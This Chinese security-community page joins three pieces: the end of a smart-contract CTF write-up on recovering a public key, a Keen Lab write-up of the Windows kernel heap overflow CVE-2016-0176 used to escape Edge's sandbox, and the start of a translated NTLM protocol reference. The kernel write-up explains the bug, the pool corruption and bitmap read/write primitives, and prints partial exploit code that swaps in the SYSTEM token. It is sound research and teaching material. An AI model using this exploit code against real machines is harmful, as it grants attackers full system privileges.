function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);
isComplete = true;
}
}
这个挑战代码倒是挺少的，要求也很简单，给你一个合约的地址，要求你得到该地址的公钥，这里事实上就涉及到以太坊上的公私钥的生成以及对交易进行签名的算法了，篇幅所限这里就不展开讲了，因为内容也太多，下面是一些相关的资料
[椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用](https://blog.csdn.net/teaspring/article/details/77834360)
通过资料我们可以知道在对交易进行签名以后，由于椭圆曲线算法的特性，当知道r、s、v 和
hash时我们是可以计算对应的公钥的，而这些值都可以在交易内进行读取，我们来看看该地址进行过的交易
发现有一个发出的交易，那么我们就可以利用该交易的签名信息得到公钥了，至于r，s，v这些信息我们可以通过web3.eth.getTransaction得到
这里我的计划是利用这些已知的交易信息来使用[ethereumjs-tx](https://github.com/ethereumjs/ethereumjs-tx)库创建一个交易从而利用里面封装的getSenderAddress得到公钥，脚本如下
const EthereumTx = require('ethereumjs-tx');
const util = require('ethereumjs-util');
var rawTx = {
nonce: '0x00',
gasPrice: '0x3b9aca00',
gasLimit: '0x15f90',
to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
value: '0x00',
data: '0x5468616e6b732c206d616e21',
v: '0x29',
r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
};
var tx = new EthereumTx(rawTx);
pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = util.sha3(pubkey).toString('hex').slice(24);
console.log(pubkeys);
console.log(address);
运行得到的公钥为
>
> 0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4
提交即可完成挑战
### 0x3. Account Takeover
pragma solidity ^0.4.21;
contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
如果有来寻找此题答案的小伙伴可能要失望了，因为这题我也没做，题目的要求是要得到指定账户的私钥，至于线索就得去该地址所进行的各项交易里去寻找了，试了一段时间也没找到诀窍在哪，而且对于这种题目我的兴趣也不是很大，如果有找到了私钥的小伙伴倒也不妨告诉我一声。。。
## 最后
这套题目做下来感觉还是挺有收获的，有很多ethernaut所没有涉及的知识面，也更加贴近实战，希望大家在闯关的过程中也能收获满满，如果有师傅对于其中的关卡有疑问或者对破解私钥那关有想法的话也欢迎联系我，邮箱
[[email protected]](mailto:[email protected]) | 社区文章 |
来源: [腾讯科恩实验室官方博客](http://keenlab.tencent.com/zh/2016/11/18/A-Link-to-System-Privilege/)
作者： **Daniel King (@long123king)**
### 如何攻破微软的Edge浏览器
攻破微软的Edge浏览器至少需要包含两方面基本要素：浏览器层面的远程代码执行(RCE: Remote Code Execution)和浏览器沙箱绕过。
浏览器层面的远程代码执行通常通过利用Javascript脚本的漏洞完成，而浏览器的沙箱绕过则可以有多种方式，比如用户态的逻辑漏洞，以及通过内核漏洞达到本地提权(EoP:
Escalation of Privilege)。
微软Edge浏览器使用的沙箱是建立在Windows操作系统的权限检查机制之上的。在Windows操作系统中，资源是可以在全系统范围内被共享的，比如一个文件或者设备可以在不同进程间被共享。由于有些资源里面包含着敏感信息，而另外一些资源的完整性则关乎系统的正常运转，如果被破坏了就会导致整个系统的崩溃。因此当一个进程在访问资源时需要进行严格的权限检查。当一个资源被打开时，主调进程的令牌信息会与目标资源的安全描述符信息进行匹配检查。权限检查由几个不同层面的子检查组成：属主身份及组身份检查，特权检查，完整性级别及可信级别检查，Capability检查等等。上一代的沙箱是基于完整性级别机制的，在沙箱里面运行的应用程序处于Low完整性级别，因此无法访问处于Medium或者更高级别的资源。微软的Edge浏览器采用的是最新一代的沙箱机制，这代沙箱是基于AppContainer的，运行在沙箱里的应用程序依然处于Low完整性级别，当它们尝试访问资源时，除了进行完整性级别检查，还需要进行Capabilities的检查，这种检查更加细腻以及个性化。关于权限检查机制的更多细节，可以参考我在ZeroNights
2015上的演讲：[Did You Get Your
Token?](https://github.com/long123king/tokenext/blob/master/doc/Did_You_Get_Your_Token.pdf)
沙箱绕过的最常用的方法是通过内核态的漏洞利用，直接操作内核对象(DKOM: Direct Kernel Object
Manipulation)以达到本地提权。
### CVE-2016-0176
这个漏洞是位于dxgkrnl.sys驱动中，是一个内核堆溢出漏洞。
被篡改的数据结构定义如下：
typedef struct _D3DKMT_PRESENTHISTORYTOKEN
{
D3DKMT_PRESENT_MODEL Model; //D3DKMT_PM_REDIRECTED_FLIP = 2,
UINT TokenSize; // 0x438
UINT64 CompositionBindingId;
union
{
D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN Flip;
D3DKMT_BLTMODEL_PRESENTHISTORYTOKEN Blt;
D3DKMT_VISTABLTMODEL_PRESENTHISTORYTOKEN VistaBlt;
D3DKMT_GDIMODEL_PRESENTHISTORYTOKEN Gdi;
D3DKMT_FENCE_PRESENTHISTORYTOKEN Fence;
D3DKMT_GDIMODEL_SYSMEM_PRESENTHISTORYTOKEN GdiSysMem;
D3DKMT_COMPOSITION_PRESENTHISTORYTOKEN Composition;
}
Token;
} D3DKMT_PRESENTHISTORYTOKEN;
我们把这个数据结构简称为”history token”，想要激发这个漏洞需要将关键成员变量按如下定义：
* **Model** 要设置为 **D3DKMT_PM_REDIRECTED_FLIP** ;
* **TokenSize** 要设置为 **0x438** ;
你大概已经猜到漏洞是存在在 **Token.Flip** 成员里面，该成员类型定义如下：
typedef struct _D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN
{
UINT64 FenceValue;
ULONG64 hLogicalSurface;
UINT_PTR dxgContext;
D3DDDI_VIDEO_PRESENT_SOURCE_ID VidPnSourceId;
……
D3DKMT_DIRTYREGIONS DirtyRegions;
} D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN;
继续深入到 **DirtyRegions** 的类型定义：
typedef struct tagRECT
{
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT; // 0x10 bytes
typedef struct _D3DKMT_DIRTYREGIONS
{
UINT NumRects;
RECT Rects[D3DKMT_MAX_PRESENT_HISTORY_RECTS]; // 0x10 * 0x10 = 0x100 bytes
//#define D3DKMT_MAX_PRESENT_HISTORY_RECTS 16
} D3DKMT_DIRTYREGIONS;
现在我们已经到达了最基本类型的定义, 看到一个成员是DWORD类型的 **NumRects** , 另外一个是数组 **RECT** ，其中每个元素的类型是
**Rects** , 这个数组是定长的，有16个元素的空间，每个元素0x10字节，每个这个数组的总长度是0x100字节。
上图展示了被篡改的数据结构的布局以及它们之间的关系，左面一栏是我们在调用 Win32 API 函数 **D3DKMTPresent**
时从用户态传入的数据结构，中间一栏是dxgkrnl.sys驱动接收到并维护的对应的数据结构，它是从左面一栏的数据结构中拷贝出来的，而右面一栏是内嵌定义在history
token中的成员 **Token.Flip** 的数据结构。我们知道一个union的大小是由其成员中最大的成员大小决定的，而在这里
**Token.Flip** 恰好是union **Token** 中最大的一个成员，也就是说整个history token数据结构是由
**Token.Flip** 中的内容填满直到结尾，这个特征非常重要，大大简化了利用的复杂度。
有了上面关于数据结构的知识，我们就可以很方便地理解这个漏洞了，现在展示的是引起漏洞的汇编代码片断：
loc_1C009832A: DXGCONTEXT::SubmitPresentHistoryToken(......) + 0x67B
cmp dword ptr[r15 + 334h], 10h // NumRects
jbe short loc_1C009834B; Jump if Below or Equal(CF = 1 | ZF = 1)
call cs : __imp_WdLogNewEntry5_WdAssertion
mov rcx, rax
mov qword ptr[rax + 18h], 38h
call cs : __imp_WdLogEvent5_WdAssertion
loc_1C009834B: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6B2
mov eax, [r15 + 334h]
shl eax, 4
add eax, 338h
jmp short loc_1C00983BD
loc_1C00983BD: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6A5
lea r8d, [rax + 7]
mov rdx, r15; Src
mov eax, 0FFFFFFF8h;
mov rcx, rsi; Dst
and r8, rax; Size
call memmove
在这片代码的入口处，r15寄存器指向的是history
token结构的内存区域。代码首先从内存区域的0x334偏移处取出一个DWORD，并与0x10进行比较，通过上图我们可以看到取出的DWORD正是
**Token.Flip.NumRects** 成员，而0x10则是内嵌数组 **Token.Flip.Rects** 容量，所以这里比较的是
**Token.Flip.NumRects** 的值是否超出了 **Token.Flip.Rects**
数组的容量。如果你是在代码审查时遇到了这段代码，那么你可能会自言自语道大事不妙，微软已经意识到了这个潜在的溢出，并做了比较严格的检查。硬着头皮往下看，当溢出发生时，代码会以assertion的方式将这个异常情况记录到watch
dog驱动，但是这个比对后的产生的两个代码分枝最终又都在loc_1C009834B处会合。可能你会想watch
dog驱动有机会对代码溢出情况做出反应，通过bug check主动蓝屏(BSOD)，然而事实上什么都没有发生。 不管你对
**Token.Flip.NumRects** 这个变量设置什么值，代码都会最终执行到loc_1C009834B处的代码块，这个代码块对
**Token.Flip.NumRects** 值做了一些基础的算术运算，并且用运算的结果指定memcpy操作拷贝的长度。
为了更加直观地说明问题，把汇编代码改写成对应的C++代码：
D3DKMT_PRESENTHISTORYTOKEN* hist_token_src = BufferPassedFromUserMode(…);
D3DKMT_PRESENTHISTORYTOKEN* hist_token_dst = ExpInterlockedPopEntrySList(…);
if(hist_token_src->dirty_regions.NumRects > 0x10)
{
// log via watch dog assertion, NOT work in free/release build
}
auto size = (hist_token_src->dirty_regions.NumRects * 0x10 + 0x338 + 7) / 8;
auto src = (uint8_t*)hist_token_src;
auto dst = (uint8_t*)hist_token_dst;
memcpy(dst, src, size);
事情更加简单明了，无论我们给 **Token.Flip.NumRects**
指定什么样的值，一个内存拷贝操作在所难免，拷贝操作的源数据正是我们通过调用Win32 API **D3DKMTPresent**
从用户态传入的buffer，拷贝操作的目标是通过调用 **ExpInterlockedPopEntrySList**
从内核堆上分配的buffer，而拷贝操作的长度是通过计算拥有 **Token.Flip.NumRects**
个元素的数组的长度，再加上数组成员在history token结构体中的偏移，以及因为对齐产生的padding长度。如果我们为
**Token.Flip.NumRects**
指定了一个大于0x10的长度，那么内核堆溢出就发生了，我们可以控制溢出的长度，以及溢出的前0x38字节内容(如上面介绍数据结构布局的图所示，在从用户态传入的数据中，我们可以控制history
token结构后面的0x38字节数据)。
这个漏洞非常有意思，因为微软已经预见了它的存在却没能阻止它的发生，我们可以从中得到的教训是不要滥用编程技巧，除非你知道你自己在干什么，比如assertion机制。
### 利用
对于一个堆利用来说，了解目标内存区域附近的内存布局至关重要，我们已经知道目标内存是通过 **ExpInterlockedPopEntrySList**
函数在内核态内存池中分配的。
通过简单调试，我们可以得到如下内存池信息：
kd> u rip-6 L2
dxgkrnl!DXGCONTEXT::SubmitPresentHistoryToken+0x47b:
fffff801`cedb80fb call qword ptr [dxgkrnl!_imp_ExpInterlockedPopEntrySList (fffff801`ced77338)]
fffff801`cedb8101 test rax,rax
kd> !pool rax
Pool page ffffc0012764c5a0 region is Paged pool
*ffffc0012764b000 : large page allocation, tag is DxgK, size is 0x2290 bytes
Pooltag DxgK : Vista display driver support, Binary : dxgkrnl.sys
这是一个比较大的内存区域，大小为0x2290字节，因为这个大小已经超过了一个内存页的长度(一个内存页是0x1000字节)，所以它是以大页内存(Large
Page Allocation)分配的，三个连续内存页被用来响应这次大页内存分配申请，为了节约内存，在0x2290之后的多余空间被回收并且链接到了Paged
Pool的free
list上面，供后续的小内存分配使用。在0x2290之后，会插入一个起到分隔作用的标记为Frag的内存分配。关于内核内存池及大页分配的详情，参考Tarjei
Mandt的白皮书：[Kernel Pool Exploitation on Windows
7](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)。下面展示的是在0x2290偏移附近的内存内容：
kd> db ffffc0012764b000+0x2290 L40
ffffc001`2764d290 00 01 02 03 46 72 61 67-00 00 00 00 00 00 00 00 ....Frag........
ffffc001`2764d2a0 90 22 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ."..............
ffffc001`2764d2b0 02 01 01 00 46 72 65 65-0b 43 44 9e f1 81 a8 47 ....Free.CD....G
ffffc001`2764d2c0 01 01 04 03 4e 74 46 73-c0 32 42 3a 00 e0 ff ff ....NtFs.2B:....
驱动dxgkrnl.sys中的 **DXGPRESENTHISTORYTOKENQUEUE::GrowPresentHistoryBuffer**
函数用来分配并管理一个链接history token的单链表。每个history
token的长度是0x438字节，加上内存池分配的头部及padding一共0x450字节，所以0x2290大小的内存被平均分成8个history
token，并且以倒序的方式链接在单链表中。驱动dxgkrnl.sys意图将单链表以look-aside list的方式来响应单个history
token的内存分配请求。
单链表初始状态时如下所示：
单链表在响应过一个history token分配请求后如下所示：
单链表在响应过两个history token分配请求后如下所示：
明确了溢出的目标内存处的内存布局，我们得到两种溢出方案：
#### 方案1：溢出0x2290偏移后面的复用的小内存分配空间:
#### 方案2：溢出相邻的单链表头部，转化成单链表利用:
方案1有诸多限制，因为我们只能控制溢出的前0x38字节内容，这意味着减掉padding空间，用于分隔的frag内存池分配项目的长度以及接下来的内存池分配的头部，我们没有多余发挥的空间。
方案2看起来很可行，虽然我们知道Windows内核现在已经强制对双链表进行完整性检查，但是对于单链表没有任何检查，因此我们可以通过覆盖单链表中的next指针达到重定向读写的目标。
为了进一步验证可行性，我们先在头脑里演绎一下方案2的种种可能。上面的几张图已经展示了从单链表中弹出两个history
token的情形，此时我们可以溢出节点B，让它覆盖节点A的头部，然后我们将节点B压回单链表：
当我们把节点A也压回单链表时，接下来会怎样，会不会如我们所料将单链表的读写重定向到被溢出覆盖的next指针处
很遗憾并非如我们所料，这种重定向读写不会发生，因为当我们将节点A压回单链表时，覆盖的QWORD会恢复成指向节点B的指针：
我们回到已经弹出两个节点的状态再尝试另外一种可能：
这次我们先将节点A压回单链表:
然后我们溢出节点B，以覆盖节点A的头部，因为此时节点A已经被回收进单链表，所以不会再有任何操作可以将子节点A的头部恢复了。现在单链表已经被破坏了，它的第二个元素已经指向了溢出覆盖的QWORD所指向的内存处。:
经过了上面的演绎，我们对方案2信心十足，现在我们就开始动手吧！看起来我们必须对单链表乱序调用push和pop，至少要有两次连续的pop，我做了如下的尝试：
#### 尝试1：循环调用D3DKMTPresent并传入可导致溢出的buffer。
结果失败了，经过调试发现每次都在重复pop节点A，使用后push节点A这个循环，根本不会产生乱序。原因很简单，循环调用D3DKMTPresent被逐个响应，所以我们必须同时调用它才能产生乱序。
#### 尝试2：在多线程中循环调用D3DKMTPresent并传入可导致溢出的buffer。
结果又失败了，经过一些简单的逆向分析，D3DKMTPresent的调用路径应该是被加锁保护了。
经历了两次挫败，不免开始怀疑人生，是否会出现两次连续的pop呢？然后很快就意识到绝对可行，肯定是我姿势不对，否则这相对复杂的单链表就退化成单个变量了，肯定有其他的内核调用路径可以激发单链表pop操作。我编写了一个windbg脚本记录每次push和pop操作，然后尝试打开一些图形操作密集的应用程序，只要发现了两次连续的pop就证明发现了第二条路径。经过简单的尝试，奇迹出现了，当我打开Solitaire游戏时，两次pop出现了，经过简单的调试，发现
**BitBlt** API会触发第二条pop的内核路径。
#### 尝试3：在多线程中循环调用D3DKMTPresent并传入可导致溢出的buffer，同时在另外一批多线程中循环调用BitBlt。
这一次终于成功地将单链表中的next指针重定向到指定位置，达到了内核态任意地址写的目的。但是这种写的能力有限，很难重复，而我们想要通过DKOM方式偷换令牌需要多次内核读写，而这种矛盾在Pwn2Own
2016的3次尝试总时间15分钟的严苛比赛规则下显得更加突出，我们需要一些其他技巧。
### 其他技巧
#### 如何达到可重复的内核态任意地址读写
为了达到这个目标，我使用win32k的位图bitmap对象作为中间目标。首先向内核态内存中spray大量的bitmap对象，然后猜测它们的位置，并试图通过上面的重定向写技巧修改它们的头部，当我成功地命中第一个bitmap对象后，通过修改它的头部中的buffer指针和长度，让其指向第二个bitmap对象。因此总共需要控制两个bitmap对象，第一个用来控制读写的地址，而第二个用来控制读写的内容。
再详细地讲，我一共向内核内存中spray了4GB的bitmap对象，首先通过喷射大尺寸的256MB的bitmap对象来锁定空间以及引导内存对齐，然后将它们逐个替换成1MB的小尺寸bitmap对象，这些对象肯定位于0x100000的边界处，就使得猜测它们的地址更加简单。
在猜测bitmap对象地址的过程中需要信息泄露来加快猜测速度，这是通过 **user32! gSharedInfo** 完成的。
#### 偷换令牌
有了可重复地任意地址读写的能力后，再加上通过sidt泄露内核模块的地址，我们可以方便地定位到 **nt!PspCidTable**
指向的句柄表，然后从中找出当前进程以及system进程对应的_EPROCESS结构体，进而找到各自的_TOKEN结构的地址，从而完成替换。
#### 部分利用代码
VOID ThPresent(THREAD_HOST * th)
{
SIZE_T hint = 0;
while (TRUE)
{
HIST_TOKEN ht = { 0, };
HtInitialize(&ht);
SIZE_T victim_surf_obj = ThNextGuessedAddr(th, ++hint);
SIZE_T buffer_ptr = victim_surf_obj + 0x200000 + 0x18;
th->backupBufferPtr1 = victim_surf_obj + 0x258;
th->backupBufferPtr2 = victim_surf_obj + 0x200000 + 0x258;
SIZE_T back_offset = 0x10;
SURFOBJ surf_obj = { 0, };
surf_obj.cjBits = 0x80;
surf_obj.pvBits = (PVOID)buffer_ptr;
surf_obj.pvScan0 = (PVOID)buffer_ptr;
surf_obj.sizlBitmap.cx = 0x04;
surf_obj.sizlBitmap.cy = 0x08;
surf_obj.iBitmapFormat = 0x06;
surf_obj.iType = 0;
surf_obj.fjBitmap = 0x01;
surf_obj.lDelta = 0x10;
DWORD dwBuff = 0x04800200;
HtSetBuffer(&ht, 0x18 + th->memberOffset - back_offset, (unsigned char*)&surf_obj, 0x68);
HtSetBuffer(&ht, 0x70 + th->memberOffset - back_offset, &dwBuff, sizeof(DWORD));
if (th->memberOffset - back_offset + 0xE8 < 0x448)
{
SIZE_T qwBuff = victim_surf_obj + 0xE0;
HtSetBuffer(&ht, 0xE0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
HtSetBuffer(&ht, 0xE8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
}
if (th->memberOffset - back_offset + 0x1C0 < 0x448)
{
SIZE_T qwBuff = victim_surf_obj + 0x1B8;
HtSetBuffer(&ht, 0x1B8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
HtSetBuffer(&ht, 0x1C0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
}
HtOverflowNextSListEntry(&ht, victim_surf_obj);
HtTrigger(&ht);
if (th->triggered)
break;
}
}
VOID ThTrigger(THREAD_HOST * th)
{
SIZE_T i = 0;
HANDLE threads[TH_MAX_THREADS] = { 0, };
unsigned char second_buffer[0x78] = { 0, };
for (SIZE_T i = 0; i < TH_MAX_THREADS; i++)
{
if (th->triggered)
{
break;
}
if (i == 9)
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, ProbeThreadProc, th, 0, &thread_id);
}
else if (i % 3 != 0 && i > 0x10)
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, PresentThreadProc, th, 0, &thread_id);
}
else
{
DWORD thread_id = 0;
threads[i] = CreateThread(NULL, 0, BitbltThreadProc, th, 0, &thread_id);
}
}
for (i = 0; i < TH_MAX_THREADS; i++)
{
if (threads[i] != NULL)
{
if (WAIT_OBJECT_0 == WaitForSingleObject(threads[i], INFINITE))
{
CloseHandle(threads[i]);
threads[i] = NULL;
}
}
}
Log("trigged\n");
ThRead(th, (const void*)th->backupBufferPtr2, second_buffer, 0x78);
ADDR_RESOLVER ar = { 0, };
ArInitialize(&ar, th);
SIZE_T nt_addr = ArNTBase(&ar);
SIZE_T psp_cid_table_addr = nt_addr + PSP_CIDTABLE_OFFSET;
SIZE_T psp_cid_table_value;
ThRead(th, psp_cid_table_addr, &psp_cid_table_value, 0x08);
SIZE_T psp_cid_table[0x0C] = { 0, };
ThRead(th, psp_cid_table_value, psp_cid_table, 0x60);
SIZE_T table_code = psp_cid_table[1];
SIZE_T handle_count = psp_cid_table[0x0B] & 0x00000000ffffffff;
SIZE_T curr_pid = GetCurrentProcessId();
do
{
ThParseCidTable(th, table_code, handle_count);
Sleep(1000);
} while (th->currentEprocess == NULL || th->systemEprocess == NULL);
SIZE_T curr_proc = th->currentEprocess;
SIZE_T system_proc = th->systemEprocess;
SIZE_T system_token = 0;
ThRead(th, (system_proc + 0x358), &system_token, 0x08);
SIZE_T curr_token = 0;
ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);
ThWrite(th, (curr_proc + 0x358), &system_token, 0x08);
ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);
ThRestore(th);
Log("elevated\n");
Sleep(3600000);
return;
}
### 参考:
1. [Rainbow Over the Windows](https://ruxcon.org.au/assets/2016/slides/Rainbow_over_the_Windows.pdf)
2. [Did You Get Your Token?](https://github.com/long123king/tokenext/blob/master/doc/Did_You_Get_Your_Token.pdf)
3. [Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes](http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes)
4. [Kernel Pool Exploitation on Windows 7](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)
* * * | 社区文章 |
# NTLM认证协议与SSP（上）——NTLM中高级进阶
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
内容参考原文链接：<http://davenport.sourceforge.net/ntlm.html>
翻译人：rootclay（香山）<https://github.com/rootclay>
Gitbook：<https://rootclay.gitbook.io/ntlm/>
## 说明
本文是一篇NTLM中高级进阶文章，文中大部分参考来自于[Sourceforge](http://davenport.sourceforge.net/ntlm.html)，原文中已经对NTLM讲解非常详细，在学习的过程中思考为何不翻译之，做为学习和后续回顾的文档，并在此基础上添加自己的思考，因此出现了这篇文章，在翻译的过程中会有部分注解与新加入的元素，后续我也会在[Github](https://github.com/rootclay)和[Gitbook](https://rootclay.gitbook.io/ntlm/)对此文进行持续性的更新NTLM以及常见的协议中高级进阶并计划开源部分协议调试工具，望各位issue勘误。
## 摘要
本文旨在以中级到高级的详细级别描述NTLM身份验证协议(authentication protocol)和相关的安全支持提供程序功能(security
support provider
functionality)，作为参考。希望该文档能发展成为对NTLM的全面描述。目前，无论是在作者的知识还是在文档方面，都存在遗漏，而且几乎可以肯定的说本文是不准确的。但是，该文档至少应能够为进一步研究提供坚实的基础。本文提供的信息用作在开放源代码jCIFS库中实现NTLM身份验证的基础，该库可从
[http://jcifs.samba.org获得。本文档基于作者的独立研究，并分析了[Samba](http://www.samba.org/)软件套件。](http://jcifs.samba.org%E8%8E%B7%E5%BE%97%E3%80%82%E6%9C%AC%E6%96%87%E6%A1%A3%E5%9F%BA%E4%BA%8E%E4%BD%9C%E8%80%85%E7%9A%84%E7%8B%AC%E7%AB%8B%E7%A0%94%E7%A9%B6%EF%BC%8C%E5%B9%B6%E5%88%86%E6%9E%90%E4%BA%86%5BSamba%5D\(http://www.samba.org/\)%E8%BD%AF%E4%BB%B6%E5%A5%97%E4%BB%B6%E3%80%82)
## 什么是NTLM？
NTLM是一套身份验证和会话安全协议，用于各种Microsoft网络协议的实现中（注：NTLM为嵌套协议，被嵌套在各种协议，如HTTP、SMB、SMTP等协议中），并由NTLM安全支持提供程序（”NTLMSSP”）支持。NTLM最初用于DCE/RPC的身份验证和协商（Negotiate），在整个Microsoft系统中也用作集成的单点登录机制（SSO）。可以认为NTLM是HTTP身份验证的技术栈的一部分。同时，它也用于SMTP，POP3，IMAP（Exchange的所有部分），CIFS/SMB，Telnet，SIP以及其他可能的Microsoft实现中。
NTLM Security Support Provider在Windows Security Support
Provider（SSPI）框架内提供身份验证（Authentication），完整性（Signing）和机密性（Sealing）服务。SSPI定义了由支持提供程序(supporting
providers)实现的一组核心安全功能集；NTLMSSP就是这样的提供程序(supporting
providers)。SSPI定义并由NTLMSSP实现以下核心操作：
1. 身份验证（Authentication）-NTLM提供了质询响应(challenge-response)身份验证机制，在这种机制中，客户端无需向服务器发送密码即可证明其身份。(注：我们常说的PTH等等操作都发生在这里。)
2. 签名（Signing）-NTLMSSP提供了一种对消息应用数字”签名”的方法。这样可以确保已签名的消息未被（偶然或有意地）修改，并且确保签名方知道共享机密。NTLM实现了对称签名方案（消息身份验证码或MAC）；也就是说，有效的签名只能由拥有公共共享Key的各方生成和验证。
3. Sealing（注：找不到合适的词来翻译，可以理解为加密封装）-NTLMSSP实现了对称Key加密机制，该机制可提供消息机密性。对于NTLM，Sealing还意味着签名（已签名的消息不一定是已Sealing的，但是所有已Sealing的消息都已签名）。
Kerberos已取代NTLM成为基于域的方案的首选身份验证协议。但是，Kerberos是需要有受信任的第三方方案，不能在不存在受信任的第三方的情况下使用。例如，成员服务器（不属于域的服务器），本地帐户以及对不受信任域中资源的身份验证。在这种情况下，NTLM仍然是主要的身份验证机制（可能会持续很长时间）。
## NTLM通用术语
在开始深入研究之前，我们需要定义各种协议中使用的一些术语。
由于翻译的原因我们大概约定一些术语：
协商 = Negotiate
质询 = Challenge
响应 = Response
身份验证 = Authentication
签名 = Signing
NTLM身份验证是一种质询-响应方案，由三个消息组成，通常称为Type 1（协商），Type 2（质询）和Type 3（身份验证）。它基本上是这样的：
1. 客户端向服务器发送Type 1消息。它主要包含客户端支持和服务器请求的功能列表。
2. 服务器以Type 2消息响应。这包含服务器支持和同意的功能列表。但是，最重要的是，它包含服务器产生的challenge。
3. 客户用Type 3消息答复质询。其中包含有关客户端的几条信息，包括客户端用户的域和用户名。它还包含对Type 3 challenge 的一种或多种响应。
Type 3消息中的响应是最关键的部分，因为它们向服务器证明客户端用户已经知道帐户密码。
认证过程建立了两个参与方之间的共享上下文；这包括一个共享的Session Key，用于后续的签名和Sealing操作。
在本文档中，为避免混淆（无论如何，尽可能避免混淆），将遵循以下约定（除了“NTLM2会话响应”身份验证（NTLMv1身份验证的一种变体，与NTLM2会话安全性结合使用）的特殊情况外。）：
* 在讨论身份验证时，协议版本将使用”v编号”。例如” NTLM v1身份验证”。
* 在讨论会话安全性（签名和Sealing）时，”v”将被省略；例如” NTLM 1会话安全性”。
“ short “是一个低位（little-endian，即小端，这在实现协议库时会有小差别，不写代码可以忽略）字节的16位无符号值。例如，表示为short的十进制值”1234”
将以十六进制物理布局为” 0xd204 “。
“ long “是32位无符号小尾数。以十六进制表示的长整数十进制值” 1234 “为” 0xd2040000 “。
Unicode字符串是一个字符串，其中每个字符都表示为一个16位的little-endian值（16位UCS-2转换格式，little-endian字节顺序，没有字节顺序标记，没有空终止符）。Unicode中的字符串” hello”将以十六进制表示为”
0x680065006c006c006f00 “。
OEM字符串是一个字符串，其中每个字符都表示为本地计算机的本机字符集（DOS代码页）中的8位值。没有空终止符。在NTLM消息中，OEM字符串通常以大写形式显示。OEM中的字符串”
HELLO”将用十六进制表示为” 0x48454c4c4f “。
“安全缓冲区”（security buffer）是用于指向二进制数据缓冲区的结构。它包括：
1. 一个short的内容，包含缓冲区内容的长度（以字节为单位）（可以为零）。
2. 一个short的信息，包含为缓冲区分配的空间（以字节为单位）（大于或等于长度；通常与长度相同）。
3. 一个long，包含到缓冲区开头的偏移量（以字节为单位）（从NTLM消息的开头）。
因此，安全缓冲区” 0xd204d204e1100000 “将被读取为：
Length: 0xd204 (1234 bytes)
Allocated Space: 0xd204 (1234 bytes)
Offset: 0xe1100000 (4321 bytes)
比如下图表示的数据就是一个安全缓冲区：
如果您从消息中的第一个字节开始，并且向前跳过了4321个字节，那么您将位于数据缓冲区的开头。您将读取1234个字节（这是缓冲区的长度）。由于为缓冲区分配的空间也是1234字节，因此您将位于缓冲区的末尾。
## NTLM Message Header Layout（NTLM消息头）
现在，我们准备看一下NTLM身份验证消息头的布局。
所有消息均以NTLMSSP签名开头，该签名（适当地）是以null终止的ASCII字符串” NTLMSSP”（十六进制的”
0x4e544c4d53535000 “）。
下一个是包含消息Type （1、2或3）的long。例如，Type 1消息的十六进制Type 为” 0x01000000 “。
这之后是特定于消息的信息，通常由安全缓冲区和消息Flags组成。
### NTLM Flags
消息Flags包含在头的位域中。这是一个
long，其中每个位代表一个特定的Flags。这些内容中的大多数出现在特定消息中，但是我们将全部在这里介绍它们，可以为其余的讨论建立参考框架。下表中标记为”unidentified”或”unknown”的Flags暂时不在作者的知识范围之内。
注：下表第一次使用中文描述，之后不再使用英文描述。
flag | 名称 | 描述
---|---|---
0x00000001 | Negotiate Unicode | 指示在安全缓冲区数据中支持使用Unicode字符串。
0x00000002 | Negotiate OEM | 表示支持在安全缓冲区数据中使用OEM字符串。
0x00000004 | Request Target | 请求将服务器的身份验证领域包含在Type 2消息中。
0x00000008 | unknown | 该Flags的用法尚未确定。
0x00000010 | Negotiate Sign | 指定客户端和服务器之间的经过身份验证的通信应带有数字签名（消息完整性）。
0x00000020 | Negotiate Seal | 指定应该对客户机和服务器之间的已验证通信进行加密（消息机密性）。
0x00000040 | Negotiate Datagram Style | 指示正在使用数据报认证。
0x00000080 | Negotiate Lan Manager Key | 指示应使用Lan ManagerSession
Key来签名和Sealing经过身份验证的通信。
0x00000100 | Negotiate Netware | 该Flags的用法尚未确定。
0x00000200 | Negotiate NTLM Key | 指示正在使用NTLM身份验证。
0x00000400 | Negotiate Only NT （unknown） | 该Flags的用法尚未确定。
0x00000800 | Negotiate Anonymous | 客户端在Type 3消息中发送以指示已建立匿名上下文。这也会影响响应字段（如”
匿名响应 “部分中所述）。
0x00001000 | Negotiate OEM Domain Supplied | 客户端在Type
1消息中发送的消息，指示该消息中包含客户端工作站具有成员资格的域的名称。服务器使用它来确定客户端是否符合本地身份验证的条件。
0x00002000 | Negotiate OEM Workstation Supplied | 客户端在”Type
